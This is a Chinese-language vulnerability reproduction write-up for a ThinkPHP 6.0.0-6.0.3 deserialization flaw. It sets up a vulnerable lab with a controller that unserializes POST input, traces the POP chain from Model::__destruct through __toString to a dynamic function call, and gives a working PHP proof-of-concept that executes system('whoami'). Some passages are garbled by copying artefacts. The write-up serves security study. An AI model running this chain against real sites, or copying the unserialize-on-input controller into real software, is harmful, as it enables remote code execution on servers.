thinkPHP v6.0.0-6.0.3反序列化漏洞复现与分析
环境搭建
初始环境,需要注意的是,新版v6基于PHP7.1+
开发
php-7.2.9
ThinkPHP v6.0.3
使用composer
进行安装
composer create-project topthink/think=6.0.3 tp6.0
⚠️坑点,截止到2021/09/16
,默认核心安装的为framework=v6.0.9
think-orm=2.0.44
但是到最后面部分代码段已经修复了利用点,所以为了避免大家再次踩坑,请部署完成后,请前往composer.json
中,修改核心依赖相关版本,回退更新
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.3",
"topthink/think-orm": "2.0.30"
},
进行回退更新,没有出现报错即成功
composer update
开启web服务进行验证访问’
http://localhost/tp6.0/public/
注意:实际测试需要PHP版本>7.2.5
****tp6.0
版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php
中将with_route => false
访问控制器中的hello
方法名,并且传递参数值
http://localhost/tp6.0/public/index.php/index/hello/name/123
构建反序列化入口
需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用
tp6.0\app\controller\Index.php
public function lyy9(){
$tmp = $_POST['lyy9'];
echo $tmp;
unserialize($tmp);
}
访问thinkphp路由
http://localhost/tp6.0/public/index.php/index/lyy9
漏洞分析
__destruct()链条
漏洞的一般起点在__destruct()
函数,这次位于/vendor/topthink/think-orm/src/Model.php
this→lazySave
可控,跟进save()
方法
因为之前的__toString()
链条仍然可以使用,因此要想办法找一个可以进入到__toString()
的点,这里我们关注的是updateData()
所以前面的判断需要让他不成立,因为是||所以两个都不能为真
跟进isEmpty()
发现$this→data
可控,让data[]
不为空,则返回false
,第一个条件满足了,再跟进trigger()
可以发现这里$this→withEvent
可控,设置withEvent
为false
这样就会返回true
,这样回到上一层if(false || false === true)
不成立,就会跳过判断
进入$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
exists可控,我们跟进
updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
这里前面trigger
可控,所以会直接跳过,checkData()
并没有定义,也可以直接略过,跟进getChangedData()
this→force
可控,当为true
时,返回$this→data
,则$data=$this→data
继续向下跟进
可以看到,要进入checkAllowFields()
,需要进行判断$data
是否为空,这里要将$data
置为非空,这样就可以跳过判断,跟进checkAllowFields()
$field
和$schema
都可控,当构造为空时,就可以进入db()
方法
可以看到,这里有.
号,当我们进行构造对象进行字符串拼接时,就会触发__toString()
魔术方法
上半段pop链条
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
参数构造
$this->exists = true;
$this->$lazySave = true;
$this->$withEvent = false;
__toString()链条
后面就是延续tp5反序列化的触发toString
魔术方法了,就是原来vendor/topthink/think-orm/src/model/concern/Conversion.php的__toString开始的利用链
跟进toJson()
继续跟进toArray()
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
return $item;
}
第三个foreach里面存在getAttr
方法,他是个关键方法,我们需要触发他
触发条件: t h i s − > v i s i b l e [ this->visible[ this−>visible[key]存在,即 t h i s − > v i s i b l e 存 在 键 名 为 this->visible存在键名为 this−>visible存在键名为key的键,而 k e y 则 来 源 于 key则来源于 key则来源于data的键名, d a t a 则 来 源 于 data则来源于 data则来源于this->data,也就是说 t h i s − > d a t a 和 this->data和 this−>data和this->visible要有相同的键名$key
然后跟进到getAttr
$key值就传入到了getData()方法,跟进getData方法
第一个if判断传入的值,
k
e
y
值
不
为
空
,
因
此
绕
过
,
然
后
key值不为空,因此绕过,然后
key值不为空,因此绕过,然后key值传入到了getRealFieldName()方法,跟进getRealFieldName
方法
当$this->strict
为true
时直接返回$name
,即$key
回到getData
方法,此时$fieldName = $key
,进入判断语句:
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
返回$this->data[$fielName]也就是$this->data[$key]
,记为$value
再回到getAttr
,也就是返回
t
h
i
s
−
>
g
e
t
V
a
l
u
e
(
this->getValue(
this−>getValue(key, $value, null);
再跟进到getValue
首先$fieldName=$key
然后进行判断$this→withAttr[$fieldName]
是否存在进入二层判断,默认$relation=false
,不符合,进入下一个判断,默认json
为空,主要在后一半$this→withAttr[$fieldName]
是否为数组,最终利用点在于后面的动态函数调用,所以前面两个判断都要绕过。正好withAttr[]
我们是可以控制的,只要我们能让$key
对应的不为数组就可以绕过
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
前面图中已经很明显写出来$fieldName=$key
$value=$this→data[$key]
这样的话,就会把$this->withAttr[$key]
(withAttr
数组$key
键对应的值)当做函数名动态执行,参数为$value=$this->data[$key]
。
例如这样进行构造
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
最后实际执行的是system("whoami")
到这里呈现了一条完整的POP链。
__toString()-->toJson()-->toArray()-->getAttr()->getData()->getRealFieldName()-->getValue()
POC构造
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
访问
http://localhost/tp6.0/public/index.php/index/lyy9
总结
这次反序列化链的终点并不是call_user_func也不是回调函数,而是动态函数的调用
中间__toString()魔术方法的触发也不是通过函数调用而是对变量(类变量)的拼接